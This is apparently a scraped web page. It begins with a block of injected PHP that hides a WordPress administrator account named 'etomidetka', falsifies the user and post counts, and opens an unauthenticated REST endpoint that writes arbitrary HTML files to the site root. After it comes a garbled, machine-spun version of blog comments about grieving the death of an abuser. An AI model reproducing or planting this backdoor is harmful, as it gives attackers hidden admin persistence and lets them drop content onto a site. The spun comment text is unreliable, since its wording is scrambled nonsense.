//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
One-day he strike me personally which have an automible and therefore is actually my personal fact examine. I leftover him forever. He offered day, and i also assist him come live with me immediately following their release. A lot of time facts brief, it didn’t last too much time. We went seperate ways to the aim from fixing the relationship. But he died. I found myself devastated We nearly had a stroke while i are told out-of their death. Next depression sank during the and you may a separated out-of facts having 9 months roughly. It actually was a great blur. I happened to be never ever relieved he had introduced. We talk your situation of your own enjoy, without sick commonly, zero frustration zero aggression. I know during my center the afternoon he died I happened to be obligated to deal with each feelings, harm, disappointment, memories from him and you will let it go.
No this is not to cam sick of the dry. If you’re unable to prize that simple consult out of regard from brand new deceased this may be ought to be done in respect out-of Goodness, whatsoever he made legislation and rules for us to check out even if we may perhaps not completely understand. Right until this day We grieve, I mourn a loss of profits and you may a bit of my heart you to will not be repaired. I real time a bitter nice lives with an effective cornucopia of good thoughts unfortunate memory and crappy recollections. A procedure which had ever before happened to me could have been the discharge of one’s soreness and anger I harbored while he was live.
Christina, many thanks for thus openly discussing your own experience with every one of your readers right here. In my opinion your love you give your family members and their area will vary lifetime – a and theirs. Good luck and you can prayers match your as you move ahead that you know.
I happened to be mistreated by the a great pastor for the a church I belonged to years back. I simply heard now he died. I did so choose guidance years ago. In a few indicates, I’m really alleviated he passed away. Thoughts are beginning to return today. I know We forgave your inside my cardio.
I’m thinking easily should go into funeral service, even though I understand the whole family in addition they was in fact members of the family in our household members for years.
Hello Janet, thank you for the remark – that is a hard possibilities. Going to the funeral you may give you closure/finality – that he is don’t alive, not any longer in a position to abuse your otherwise other people. Otherwise it could stir up almost every other feelings watching his relatives grieve to possess your, or hearing your applauded to own his a deeds. It is best to rating guidance from the their passing plus thoughts before-going in order to their funeral. If you do go, please simply take a close friend to you you never know what happened and get them to help you due to. A different way to possibly manage is always to sit-down and you will write your a letter. Will eventually following the funeral service, wade and you can stand within their grave and study it out noisy although no one is as much as. After that shed the fresh new letter, ideally home. Think about, you get to take care of your in every which – so you don’t need to perform what you believe ily. The latest unfortunate area it, he might possess mistreated his personal children as well and you get be their sufferers. Take care of your.